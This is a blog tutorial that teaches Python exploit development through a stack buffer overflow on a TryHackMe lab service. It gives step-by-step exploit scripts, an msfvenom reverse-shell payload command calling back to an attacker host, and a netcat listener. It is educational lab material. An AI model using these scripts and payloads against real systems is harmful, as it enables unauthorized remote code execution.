Python For Exploit Development
Link
Python For Exploit Development
Caveat
For educational purposes only. Only run these techniques against machines you own or have explicit written permission to test. Unauthorized exploitation is illegal and unethical.
What We’re Building
By the end of this post, you’ll have a working buffer overflow exploit for a vulnerable Windows service. We’ll cover:
- Connecting to the service with Python.
- Fuzzing to find the crash.
- Controlling the instruction pointer (EIP).
- Finding bad characters.
- Generating and delivering shellcode.
The target is OVERFLOW1 from TryHackMe’s Buffer Overflow Prep room, but the techniques work for any vanilla stack overflow.
The Prelude.
Okay. I can hear you asking, if I already have multiple, excellent, buffer overflow write-ups on this site (you can check the projects and boxes sections), so why another post? Fair question.
Those walkthroughs give step-by-step instructions with screenshots and complete exploit code. This post explains the why behind the code, including the libraries I use, why I chose them, and how they work together.
Grab your favourite snack and water (hydration is important), and let’s get cracking.
The Libraries
For vanilla buffer overflows, I typically use two libraries.
The first thing we have to do is handle the connections. The majority of exploits use TCP connections. I usually snag socket to connect to them. If you are attacking web applications, requests is my go to for HTTP/HTTPs activities. This post will focus on socket programming since that is what the majority of exploits use.
The next issue we’ll have to tackle is memory address formatting. The library I use is struct, specifically the pack function. This function will handle converting addresses to the right byte order for the target architecture. Little-endian, big-endian, all the fun stuff. Without it, you’ll have to manually manage your addresses. Not fun.
Beginning Advice
Before we start writing code, let’s talk about three things I learned the hard way.
The first nugget of advice is to write your exploit in small chunks. I understand the urge to go on an all night bender writing the entire code base in one fell swoop. But the first time you have to debug that monster code base at 2am, you will understand the pain and give the same advice, as well.
The second pearl that I have is to never leave your code in a broken state. Either fix it or rollback to the last working version. I can’t remember how many times I have started broken and got interrupted. When I came back, I would have zero memory of what I was trying to do. Keep it working, always.
The third thing is to save the versions as you go. I use hexadecimal naming, exploit_0x00.py, exploit_0x01.py, exploit_0x02.py. When (not if) you break something, you can just revert to the previous version instead of trying to remember what changed.
The Initial Connection
The first thing we need to do to get this party started is connect to the vulnerable service. Regular connection, no funny business…yet.
Start by importing the socket library. I like setting up variables for the URL or IP and port number. It makes it much easier to change the target later without hunting through your code.
Next, we create a socket object. The constructor takes two arguments that tell Python what kind of connection we are making. socket.AF_INET means we are using IPv4 addresses (as opposed to IPv6). socket.SOCK_STREAM means TCP, a reliable connection instead of UDP’s “send it and pray” approach (SOCK_DGRAM).
The connect() function is what you would expect from the function name, it establishes a connection with the service. Notice it takes a tuple with the URL and port. Python is picky about that double parenthesis syntax, so don’t forget it.
I usually print the banner as feedback to confirm that the connection worked. Then we can send our commands with send(). Here is the catch, Python 3 is strict about bytes versus strings. Sockets require bytes, not text, so we need that b'' prefix. The \r\n at the end is the carriage return and new line (CRLF). Think of it like hitting Enter after typing a command.
I use the recv() again to clear the buffer and see the response. The 1024 tells Python to grab up to 1024 bytes. Finally, close the socket when you are done, always clean up after yourself.
import socket url = '10.0.0.7' port = 1337 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url,port)) # Connect to the service print(s.recv(1024)) # Print the banner s.send(b'OVERFLOW1 aaaa\r\n') # Send our command (note the b'' for bytes and \r\n for CRLF) print(s.recv(1024)) # Receive up to 1024 bytes from the server. s.close() # Close the connection.
Fuzzing For The Crash
Now that we can connect, let’s find where the program breaks.
We need to create a list of fuzzer strings that we will send the application. We’re testing buffer overflows, so we’re going to get increasing length strings saved to a list. I like to use A (0x41) since I know what to look for on the other end. Remember to include your b'' prefix since that is what the send command is expecting.
After this, we are going to iterate through the list of payloads. Update the send() command to include our malicious inputBuffer variable to send it to the vulnerable server. Remember to add the b() to the CRLF. I always forget this and have to debug it.
Finally, add a print statement showing the payload size. When the program hangs, the last number printed is your crash point.
import socket
url = '10.0.0.7'
port = 1337
buffers = [b'A'] # Establish Buffer
counter = 100
while len(buffers) < 50:
buffers.append(b'A' * counter) # Create payload
counter += 100
for inputBuffer in buffers: # Iterate payloads
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending: {size}'.format(size=len(inputBuffer))) # Show payload size
s.send(b'OVERFLOW1 ' + inputBuffer + b'\r\n') # Send the buffer
s.recv(1024)
s.close()
Hardcode Breakpoint
At this point, hardcode that breakpoint we just found. We will remove both loops and change the inputBuffer to send a string of A’s multiplied by that breakpoint. Run the code again to ensure that it still works and that we still have control of EIP. In the EIP register, you should be able to view the 0x41414141
import socket
url = '10.0.0.7'
port = 1337
inputBuffer = b'A' * 2400 # Hardcode the breakpoint
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Get EIP Pattern
We need to know exactly where in our payload the EIP sits. That’s how we’ll control where the program jumps next. We call this the EIP offset.
The first thing that we need to do is generate the pattern create script to generate an unique string of characters. We’ll use that pattern to then be able to identify the exact offset. Pattern create and Pattern offset are both a part of the Metasploit Framework.
After generating the pattern, copy it and paste it into your script as the inputBuffer value (I’ve snipped it for readability in the example below)
┌──(kali㉿kali)-[~/Documents/thm/bufferoverflowprep/OVERFLOW1] └─$ msf-pattern_create -l 2400
import socket
url = '10.0.0.7'
port = 1337
# inputBuffer = b'A' * 2400
inputBuffer = <snip> # This is where the unique string goes. Removed for readability.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Get EIP Offset
Run the script and check what’s sitting in the EIP register. We will plug the EIP contents into pattern offset to get the EIP offset. Update the inputBuffer variable into three different section. The first section will be our A’s multiplied by the offset. The next section are four B’s. Finally, we have to add C’s to fill out the payload until the breakpoint size.
┌──(kali㉿kali)-[~/Documents/thm/bufferoverflowprep/OVERFLOW1] └─$ msf-pattern_offset -l 2400 -q 6f43396e [*] Exact match at offset 1978
import socket
url = '10.0.0.7'
port = 1337
inputBuffer = b'A' * 1978
inputBuffer += b'B' * 4
inputBuffer += b'C' * (2400 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Find Badchars
Create a new variable containing all possible hex values (except \x00). Add it to inputBuffer right after the four B’s that control EIP. We’ll also add a comment to track the bad characters. Then, send the payload to the service and check the ESP register. If you see any mangles or drop-offs, remove that byte from the list and run it again. Repeat until the entire badchars string appears intact in ESP.
badchars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
import socket
url = '10.0.0.7'
port = 1337
# baddies = \x00
badchars = (
<snip>
)
inputBuffer = b'A' * 1978
inputBuffer += b'B' * 4
inputBuffer += badchars
inputBuffer += b'C' * (2400 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Remove Badchars
Since we finished the bad character analysis, we can remove the bad characters from the script and include a stub for the payload.
import socket
url = '10.0.0.7'
port = 1337
# baddies = \x00\x07\x2e\xa0
payload = b'D' * 400
inputBuffer = b'A' * 1978
inputBuffer += b'B' * 4
inputBuffer += payload
inputBuffer += b'C' * (2400 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Update EIP Address
Use WinDBG narly extension to find a jmp esp instruction in a module without protections. Search the module’s address range for the opcode. Then, use the search function to find the address in the module address range. After we get the appropriate address, update the code with the jmp address. We are going to use pack function to format the address in little-endian (x86 uses little-endian). The pack function needs two arguments. The first (<L) tells it to use little-endian format (x86 architecture). The second is the memory address itself.
import socket
from struct import pack
url = '10.0.0.7'
port = 1337
# baddies = \x00\x07\x2e\xa0
payload = b'D' * 400
inputBuffer = b'A' * 1978
inputBuffer += pack('<L',(0x625011af))
inputBuffer += payload
inputBuffer += b'C' * (2400 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Add Payload and Nopsled
Now, it is time for the payload. We will use msfvenom to generate it for us. Then, we can update the payload stub from earlier with the payload. It is important to note the payload is encoded because of the bad characters. The decoder is in the front of the payload. To ensure that there is no memory corruption of the decoder, we’ll also add a NOP sled (\x90 bytes) before the payload. NOP stands for ‘no operation.’ It does nothing, which gives the decoder some breathing room in case we’re slightly off on our offset. Set up a netcat listener (nc -lvnp 443), run the exploit, and you should catch a shell.
┌──(kali㉿kali)-[~/Documents/thm/bufferoverflowprep/OVERFLOW1] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.6 LPORT=443 ExitFunc=thread -f python -b '\x00\x07\x2e\xa0' -v payload [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1899 bytes <snip>
import socket
from struct import pack
url = '10.0.0.7'
port = 1337
# baddies = \x00\x07\x2e\xa0
<snip>
inputBuffer = b'A' * 1978 # Filler to reach EIP
inputBuffer += pack('<L',(0x625011af)) # JMP ESP address
inputBuffer += b'\x90' * 16 # NOP sled
inputBuffer += payload # Shellcode
inputBuffer += b'C' * (2400 - len(inputBuffer)) # Padding to crash size
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
If Your Exploit Doesn’t Work
Common issues:
- No shell but no crash: Check your JMP ESP address. Make sure it doesn’t contain bad characters.
- Immediate crash: Your payload probably has bad characters. Regenerate with msfvenom using the
-bflag with ALL bad chars. - Shell dies immediately: Check your ExitFunc setting. Use
ExitFunc=threadto keep the shell stable. - Wrong offset: Re-verify with pattern_create/pattern_offset. The EIP should show exactly 0x42424242 (four B’s).
Reflections
I remember when I first had to learn buffer overflow for the OSCP and being really nervous seeing the assembly code. I even started Googling if I can pass the exam without doing the buffer overflow question. But I just hunkered down and started plowing through the coursework. After four or five practice runs, I was hooked.
The best advice for people struggle to start:
Just jump in and start working. Learn to sink or swim. You will get it eventually.
Related Work
Tools Referenced:
Similar Exploit Content:
- More exploit development content coming when I get back to the OSED.
Hopefully you didn’t need sleep tonight. You are going to be hooked on exploit development. Hooked on exploit dev worked for me!